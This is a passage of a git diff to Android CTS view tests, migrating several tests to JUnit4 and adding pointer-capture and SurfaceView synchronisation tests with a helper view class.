+        assertFalse(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        requestCaptureSync();
+        // Same with capture but no focus
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        assertFalse(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        releaseCaptureSync();
+        requestFocusSync(mOuter);
+
+        // Same with focus but no capture.
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        assertFalse(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        requestCaptureSync();
+
+        // Have both focus and capture, both dispatch and handler called on the focused view,
+        // Nothing called for descendants.
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertTrue(mOuter.hasCalledOnCapturedPointerEvent());
+        assertFalse(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        // Listener returning false does not block the callback.
+        mOuter.setOnCapturedPointerListener((v, e) -> false);
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertTrue(mOuter.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        // Listener returning true blocks the callback.
+        mOuter.setOnCapturedPointerListener((v, e) -> true);
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        requestFocusSync(mTarget);
+
+        // Dispatch reaches the focused view and all intermediate parents but not siblings.
+        // Handler only called on the focused view.
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        assertTrue(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
+        assertTrue(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertTrue(mTarget.hasCalledOnCapturedPointerEvent());
+        assertFalse(mTarget2.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget2.hasCalledOnCapturedPointerEvent());
+        resetViews();
+
+        // Unfocused parent with a listener does not interfere with dispatch.
+        mInner.setOnCapturedPointerListener((v, e) -> true);
+        mOuter.dispatchCapturedPointerEvent(event);
+        assertTrue(mOuter.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mOuter.hasCalledOnCapturedPointerEvent());
+        assertTrue(mInner.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mInner.hasCalledOnCapturedPointerEvent());
+        assertTrue(mTarget.hasCalledDispatchCapturedPointerEvent());
+        assertTrue(mTarget.hasCalledOnCapturedPointerEvent());
+        assertFalse(mTarget2.hasCalledDispatchCapturedPointerEvent());
+        assertFalse(mTarget2.hasCalledOnCapturedPointerEvent());
+        resetViews();
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureView.java b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
new file mode 100644
index 0000000..4af160b
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.util.AttributeSet;
+import android.view.MotionEvent;
+import android.view.View;
+
+public class PointerCaptureView extends View {
+    private boolean mCalledDispatchPointerCaptureChanged;
+    private boolean mCalledOnCapturedPointerEvent;
+    private boolean mCalledDispatchCapturedPointerEvent;
+    private boolean mCalledOnPointerCaptureChange;
+
+    public PointerCaptureView(Context context) {
+        super(context);
+    }
+
+    public PointerCaptureView(Context context, @Nullable AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public PointerCaptureView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    public PointerCaptureView(Context context, @Nullable AttributeSet attrs, int defStyleAttr,
+            int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    public void dispatchPointerCaptureChanged(boolean hasCapture) {
+        mCalledDispatchPointerCaptureChanged = true;
+        super.dispatchPointerCaptureChanged(hasCapture);
+    }
+
+    @Override
+    public void onPointerCaptureChange(boolean hasCapture) {
+        mCalledOnPointerCaptureChange = true;
+        super.onPointerCaptureChange(hasCapture);
+    }
+
+    @Override
+    public boolean dispatchCapturedPointerEvent(MotionEvent event) {
+        mCalledDispatchCapturedPointerEvent = true;
+        return super.dispatchCapturedPointerEvent(event);
+    }
+
+    @Override
+    public boolean onCapturedPointerEvent(MotionEvent event) {
+        mCalledOnCapturedPointerEvent = true;
+        return super.onCapturedPointerEvent(event);
+    }
+
+    void reset() {
+        mCalledDispatchPointerCaptureChanged = false;
+        mCalledDispatchCapturedPointerEvent = false;
+        mCalledOnPointerCaptureChange = false;
+        mCalledOnCapturedPointerEvent = false;
+    }
+
+    boolean hasCalledDispatchPointerCaptureChanged() {
+        return mCalledDispatchPointerCaptureChanged;
+    }
+
+    boolean hasCalledOnCapturedPointerEvent() {
+        return mCalledOnCapturedPointerEvent;
+    }
+
+    boolean hasCalledDispatchCapturedPointerEvent() {
+        return mCalledDispatchCapturedPointerEvent;
+    }
+
+    boolean hasCalledOnPointerCaptureChange() {
+        return mCalledOnPointerCaptureChange;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
index b56d67e..53dd062 100644
--- a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
@@ -16,40 +16,49 @@
 
 package android.view.cts;
 
-import android.content.Context;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.os.Handler;
 import android.os.Looper;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ScaleGestureDetector;
 import android.view.ScaleGestureDetector.SimpleOnScaleGestureListener;
 
-public class ScaleGestureDetectorTest extends
-        ActivityInstrumentationTestCase2<ScaleGestureDetectorCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ScaleGestureDetectorTest {
 
     private ScaleGestureDetector mScaleGestureDetector;
     private ScaleGestureDetectorCtsActivity mActivity;
-    private Context mContext;
 
-    public ScaleGestureDetectorTest() {
-        super("android.view.cts", ScaleGestureDetectorCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ScaleGestureDetectorCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ScaleGestureDetectorCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mScaleGestureDetector = mActivity.getScaleGestureDetector();
-        mContext = getInstrumentation().getTargetContext();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new ScaleGestureDetector(
-                mContext, new SimpleOnScaleGestureListener(), new Handler(Looper.getMainLooper()));
-        new ScaleGestureDetector(mContext, new SimpleOnScaleGestureListener());
+                mActivity, new SimpleOnScaleGestureListener(), new Handler(Looper.getMainLooper()));
+        new ScaleGestureDetector(mActivity, new SimpleOnScaleGestureListener());
     }
 
+    @Test
     public void testAccessStylusScaleEnabled() {
         assertTrue(mScaleGestureDetector.isStylusScaleEnabled());
         mScaleGestureDetector.setStylusScaleEnabled(true);
diff --git a/tests/tests/view/src/android/view/cts/SearchEventActivity.java b/tests/tests/view/src/android/view/cts/SearchEventActivity.java
index 292ecb9..2adee51 100644
--- a/tests/tests/view/src/android/view/cts/SearchEventActivity.java
+++ b/tests/tests/view/src/android/view/cts/SearchEventActivity.java
@@ -16,15 +16,12 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.SearchEvent;
 
 public class SearchEventActivity extends Activity {
-
-    private static SearchEvent mSearchEvent;
+    private SearchEvent mSearchEvent;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -41,8 +38,4 @@
     public SearchEvent getTestSearchEvent() {
         return mSearchEvent;
     }
-
-    public void reset() {
-        mSearchEvent = null;
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/SearchEventTest.java b/tests/tests/view/src/android/view/cts/SearchEventTest.java
index d4a95d5..9ae9e61 100644
--- a/tests/tests/view/src/android/view/cts/SearchEventTest.java
+++ b/tests/tests/view/src/android/view/cts/SearchEventTest.java
@@ -16,45 +16,63 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
+import android.content.Context;
+import android.hardware.input.InputManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.SearchEvent;
 
-public class SearchEventTest extends ActivityInstrumentationTestCase2<SearchEventActivity> {
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SearchEventTest {
 
     private Instrumentation mInstrumentation;
     private SearchEventActivity mActivity;
 
-    public SearchEventTest() {
-        super(SearchEventActivity.class);
+    @Rule
+    public ActivityTestRule<SearchEventActivity> mActivityRule =
+            new ActivityTestRule<>(SearchEventActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(5000, mActivity::hasWindowFocus);
     }
 
-    // Wait until mActivity has window focus, or timeout ms elapses.  Return true
-    // iff mActivity gained window focus.
-    private boolean waitForActivityToHaveFocus(long timeout) {
-        long start = System.currentTimeMillis();
-        long cur = System.currentTimeMillis();
-        try {
-            while (!mActivity.hasWindowFocus() && (cur - start) < timeout) {
-                Thread.sleep(50);
+    @Test
+    public void testConstructor() {
+        final InputManager inputManager = (InputManager) mInstrumentation.getTargetContext().
+                getSystemService(Context.INPUT_SERVICE);
+        if (inputManager == null) {
+            return;
+        }
+        final int[] inputDeviceIds = inputManager.getInputDeviceIds();
+        if (inputDeviceIds != null) {
+            for (int inputDeviceId : inputDeviceIds) {
+                final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
+                new SearchEvent(inputDevice);
             }
-        } catch (InterruptedException x) {}
-        return mActivity.hasWindowFocus();
+        }
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
-        assertTrue(waitForActivityToHaveFocus(5000 /* ms = 5s */));
-    }
-
-    public void testTest() throws Exception {
+    @Test
+    public void testBasics() {
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_SEARCH);
         SearchEvent se = mActivity.getTestSearchEvent();
         assertNotNull(se);
diff --git a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
index e1a047e..186e06d 100644
--- a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
+++ b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
@@ -16,20 +16,21 @@
 
 package android.view.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.SoundEffectConstants;
 import android.view.View;
 
-public class SoundEffectConstantsTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-    }
-
-    public void testgetContantForFocusDirection() {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SoundEffectConstantsTest {
+    @Test
+    public void testGetContantForFocusDirection() {
         assertEquals(SoundEffectConstants.NAVIGATION_RIGHT,
                 SoundEffectConstants
                         .getContantForFocusDirection(View.FOCUS_RIGHT));
@@ -45,11 +46,10 @@
 
         assertEquals(SoundEffectConstants.NAVIGATION_UP, SoundEffectConstants
                 .getContantForFocusDirection(View.FOCUS_BACKWARD));
-        try {
-            SoundEffectConstants.getContantForFocusDirection(-1);
-            fail("should throw exception");
-        } catch (RuntimeException e) {
+    }
 
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetContantForFocusDirectionInvalid() {
+        SoundEffectConstants.getContantForFocusDirection(-1);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
index 7571453..79990e9 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
@@ -15,37 +15,47 @@
  */
 package android.view.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.SurfaceHolder.BadSurfaceTypeException;
 
-public class SurfaceHolder_BadSurfaceTypeExceptionTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SurfaceHolder_BadSurfaceTypeExceptionTest {
+    @Test
     public void testBadSurfaceTypeException(){
         BadSurfaceTypeException ne = null;
-        boolean isThrowed = false;
+        boolean isThrown = false;
 
         try {
             ne = new BadSurfaceTypeException();
             throw ne;
         } catch (BadSurfaceTypeException e) {
             assertSame(ne, e);
-            isThrowed = true;
+            isThrown = true;
         } finally {
-            if (!isThrowed) {
+            if (!isThrown) {
                 fail("should throw out InflateException");
             }
         }
 
         String name = "SurfaceHolder_BadSurfaceTypeExceptionTest";
-        isThrowed = false;
+        isThrown = false;
 
         try {
             ne = new BadSurfaceTypeException(name);
             throw ne;
         } catch (BadSurfaceTypeException e) {
             assertSame(ne, e);
-            isThrowed = true;
+            isThrown = true;
         } finally {
-            if (!isThrowed) {
+            if (!isThrown) {
                 fail("should throw out InflateException");
             }
         }
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewCtsActivity.java b/tests/tests/view/src/android/view/cts/SurfaceViewCtsActivity.java
index a6bc5fb..590a4be 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewCtsActivity.java
@@ -23,6 +23,7 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff.Mode;
 import android.os.Bundle;
+import android.view.Surface;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 
@@ -52,8 +53,9 @@
         private static final int RECT_RIGHT = 200;
         private static final int RECT_BOTTOM = 200;
 
+        private Canvas mCanvas;
+
         private SurfaceHolder mHolder;
-        private MockCanvas mCanvas;
 
         private boolean mIsDraw;
         private boolean mIsAttachedToWindow;
@@ -64,6 +66,7 @@
         private boolean mIsOnWindowVisibilityChanged;
         private boolean mIsDispatchDraw;
         private boolean mIsSurfaceChanged;
+        private boolean mSurfaceCreatedCalled;
 
         private int mWidthInOnMeasure;
         private int mHeightInOnMeasure;
@@ -73,6 +76,8 @@
         private int mOldHOnSizeChanged;
         private int mVisibilityOnWindowVisibilityChanged;
 
+        Surface mSurface;
+
         public MockSurfaceView(Context context) {
             super(context);
             mHolder = getHolder();
@@ -170,10 +175,14 @@
         }
 
         public void surfaceCreated(SurfaceHolder holder) {
+            mSurfaceCreatedCalled = true;
+
+            mSurface = holder.getSurface();
+
             // Use mock canvas listening to the drawColor() calling.
-            mCanvas = new MockCanvas(Bitmap.createBitmap( BITMAP_WIDTH,
-                                                          BITMAP_HEIGHT,
-                                                          Bitmap.Config.ARGB_8888));
+            mCanvas = new Canvas(Bitmap.createBitmap( BITMAP_WIDTH,
+                            BITMAP_HEIGHT,
+                            Bitmap.Config.ARGB_8888));
             draw(mCanvas);
 
             // Lock the surface, this returns a Canvas that can be used to render into.
@@ -186,6 +195,10 @@
             mHolder.unlockCanvasAndPost(canvas);
         }
 
+        boolean isSurfaceCreatedCalled() {
+            return mSurfaceCreatedCalled;
+        }
+
         public void surfaceDestroyed(SurfaceHolder holder) {
         }
 
@@ -229,44 +242,8 @@
             return mIsDispatchDraw;
         }
 
-        public boolean isDrawColor() {
-            if (mCanvas != null) {
-                return mCanvas.isDrawColor();
-            } else {
-                return false;
-            }
-        }
-
         public boolean isSurfaceChanged() {
             return mIsSurfaceChanged;
         }
-
-        public void setDrawColor(boolean isDrawColor) {
-            if (mCanvas != null) {
-                mCanvas.setDrawColor(isDrawColor);
-            }
-        }
-    }
-
-    class MockCanvas extends Canvas {
-        private boolean mIsDrawColor;
-
-        public MockCanvas(Bitmap bitmap) {
-            super(bitmap);
-        }
-
-        @Override
-        public void drawColor(int color, Mode mode) {
-            super.drawColor(color, mode);
-            mIsDrawColor = true;
-        }
-
-        public boolean isDrawColor() {
-            return mIsDrawColor;
-        }
-
-        public void setDrawColor(boolean isDrawColor) {
-            this.mIsDrawColor = isDrawColor;
-        }
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
new file mode 100644
index 0000000..0f77bd7
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.animation.ObjectAnimator;
+import android.animation.PropertyValuesHolder;
+import android.animation.ValueAnimator;
+import android.annotation.SuppressLint;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.media.MediaPlayer;
+import android.os.Environment;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.Gravity;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.animation.LinearInterpolator;
+import android.view.cts.surfacevalidator.AnimationFactory;
+import android.view.cts.surfacevalidator.AnimationTestCase;
+import android.view.cts.surfacevalidator.CapturedActivity;
+import android.view.cts.surfacevalidator.ViewFactory;
+import android.widget.FrameLayout;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+@SuppressLint("RtlHardcoded")
+public class SurfaceViewSyncTest {
+    private static final String TAG = "SurfaceViewSyncTests";
+
+    @Rule
+    public ActivityTestRule<CapturedActivity> mActivityRule =
+            new ActivityTestRule<>(CapturedActivity.class);
+
+    @Rule
+    public TestName mName = new TestName();
+
+    private CapturedActivity mActivity;
+    private MediaPlayer mMediaPlayer;
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mMediaPlayer = mActivity.getMediaPlayer();
+    }
+
+    /**
+     * Want to be especially sure we don't leave up the permission dialog, so try and dismiss
+     * after test.
+     */
+    @After
+    public void tearDown() throws UiObjectNotFoundException {
+        mActivity.dismissPermissionDialog();
+    }
+
+    private static ValueAnimator makeInfinite(ValueAnimator a) {
+        a.setRepeatMode(ObjectAnimator.REVERSE);
+        a.setRepeatCount(ObjectAnimator.INFINITE);
+        a.setDuration(200);
+        a.setInterpolator(new LinearInterpolator());
+        return a;
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // ViewFactories
+    ///////////////////////////////////////////////////////////////////////////
+
+    private ViewFactory sEmptySurfaceViewFactory = context -> {
+        SurfaceView surfaceView = new SurfaceView(context);
+
+        // prevent transparent region optimization, which is invalid for a SurfaceView moving around
+        surfaceView.setWillNotDraw(false);
+
+        return surfaceView;
+    };
+
+    private ViewFactory sGreenSurfaceViewFactory = context -> {
+        SurfaceView surfaceView = new SurfaceView(context);
+
+        // prevent transparent region optimization, which is invalid for a SurfaceView moving around
+        surfaceView.setWillNotDraw(false);
+
+        surfaceView.getHolder().setFixedSize(640, 480);
+        surfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
+            @Override
+            public void surfaceCreated(SurfaceHolder holder) {}
+
+            @Override
+            public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+                Canvas canvas = holder.lockCanvas();
+                canvas.drawColor(Color.GREEN);
+                holder.unlockCanvasAndPost(canvas);
+            }
+
+            @Override
+            public void surfaceDestroyed(SurfaceHolder holder) {}
+        });
+        return surfaceView;
+    };
+
+    private ViewFactory sVideoViewFactory = context -> {
+        SurfaceView surfaceView = new SurfaceView(context);
+
+        // prevent transparent region optimization, which is invalid for a SurfaceView moving around
+        surfaceView.setWillNotDraw(false);
+
+        surfaceView.getHolder().setFixedSize(640, 480);
+        surfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
+            @Override
+            public void surfaceCreated(SurfaceHolder holder) {
+                mMediaPlayer.setSurface(holder.getSurface());
+                mMediaPlayer.start();
+            }
+
+            @Override
+            public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
+
+            @Override
+            public void surfaceDestroyed(SurfaceHolder holder) {
+                mMediaPlayer.pause();
+                mMediaPlayer.setSurface(null);
+            }
+        });
+        return surfaceView;
+    };
+
+    ///////////////////////////////////////////////////////////////////////////
+    // AnimationFactories
+    ///////////////////////////////////////////////////////////////////////////
+
+    private AnimationFactory sSmallScaleAnimationFactory = view -> {
+        view.setPivotX(0);
+        view.setPivotY(0);
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.SCALE_X, 0.01f, 1f);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.SCALE_Y, 0.01f, 1f);
+        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
+    };
+
+    private AnimationFactory sBigScaleAnimationFactory = view -> {
+        view.setTranslationX(10);
+        view.setTranslationY(10);
+        view.setPivotX(0);
+        view.setPivotY(0);
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.SCALE_X, 1f, 3f);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.SCALE_Y, 1f, 3f);
+        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
+    };
+
+    private AnimationFactory sTranslateAnimationFactory = view -> {
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
+        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
+    };
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Bad frame capture
+    ///////////////////////////////////////////////////////////////////////////
+
+    private void saveFailureCaptures(SparseArray<Bitmap> failFrames) {
+        if (failFrames.size() == 0) return;
+
+        String directoryName = Environment.getExternalStorageDirectory()
+                + "/" + getClass().getSimpleName()
+                + "/" + mName.getMethodName();
+        File testDirectory = new File(directoryName);
+        if (testDirectory.exists()) {
+            String[] children = testDirectory.list();
+            if (children == null) {
+                return;
+            }
+            for (String file : children) {
+                new File(testDirectory, file).delete();
+            }
+        } else {
+            testDirectory.mkdirs();
+        }
+
+        for (int i = 0; i < failFrames.size(); i++) {
+            int frameNr = failFrames.keyAt(i);
+            Bitmap bitmap = failFrames.valueAt(i);
+
+            String bitmapName =  "frame_" + frameNr + ".png";
+            Log.d(TAG, "Saving file : " + bitmapName + " in directory : " + directoryName);
+
+            File file = new File(directoryName, bitmapName);
+            try (FileOutputStream fileStream = new FileOutputStream(file)) {
+                bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+                fileStream.flush();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests
+    ///////////////////////////////////////////////////////////////////////////
+
+    private void verifyTest(AnimationTestCase testCase) throws Throwable {
+        CapturedActivity.TestResult result = mActivity.runTest(testCase);
+        saveFailureCaptures(result.failures);
+
+        float failRatio = 1.0f * result.failFrames / (result.failFrames + result.passFrames);
+        assertTrue("Error: " + failRatio + " fail ratio - extremely high, is activity obstructed?",
+                failRatio < 0.95f);
+        assertTrue("Error: " + result.failFrames
+                + " incorrect frames observed - incorrect positioning",
+                result.failFrames == 0);
+        float framesPerSecond = 1.0f * result.passFrames
+                / TimeUnit.MILLISECONDS.toSeconds(CapturedActivity.CAPTURE_DURATION_MS);
+        assertTrue("Error, only " + result.passFrames
+                + " frames observed, virtual display only capturing at "
+                + framesPerSecond + " frames per second",
+                result.passFrames > 100);
+    }
+
+    /** Draws a moving 10x10 black rectangle, validates 100 pixels of black are seen each frame */
+    @Test
+    public void testSmallRect() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                context -> new View(context) {
+                    // draw a single pixel
+                    final Paint sBlackPaint = new Paint();
+                    @Override
+                    protected void onDraw(Canvas canvas) {
+                        canvas.drawRect(0, 0, 10, 10, sBlackPaint);
+                    }
+
+                    @SuppressWarnings("unused")
+                    void setOffset(int offset) {
+                        // Note: offset by integer values, to ensure no rounding
+                        // is done in rendering layer, as that may be brittle
+                        setTranslationX(offset);
+                        setTranslationY(offset);
+                    }
+                },
+                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
+                view -> makeInfinite(ObjectAnimator.ofInt(view, "offset", 10, 30)),
+                (blackishPixelCount, width, height) ->
+                        blackishPixelCount >= 90 && blackishPixelCount <= 110));
+    }
+
+    /**
+     * Verifies that a SurfaceView without a surface is entirely black, with pixel count being
+     * approximate to avoid rounding brittleness.
+     */
+    @Test
+    public void testEmptySurfaceView() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sEmptySurfaceViewFactory,
+                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
+                sTranslateAnimationFactory,
+                (blackishPixelCount, width, height) ->
+                        blackishPixelCount > 9000 && blackishPixelCount < 11000));
+    }
+
+    @Test
+    public void testSurfaceViewSmallScale() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sGreenSurfaceViewFactory,
+                new FrameLayout.LayoutParams(320, 240, Gravity.LEFT | Gravity.TOP),
+                sSmallScaleAnimationFactory,
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+
+    @Test
+    public void testSurfaceViewBigScale() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sGreenSurfaceViewFactory,
+                new FrameLayout.LayoutParams(640, 480, Gravity.LEFT | Gravity.TOP),
+                sBigScaleAnimationFactory,
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+
+    @Test
+    public void testVideoSurfaceViewTranslate() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sVideoViewFactory,
+                new FrameLayout.LayoutParams(640, 480, Gravity.LEFT | Gravity.TOP),
+                sTranslateAnimationFactory,
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+
+    @Test
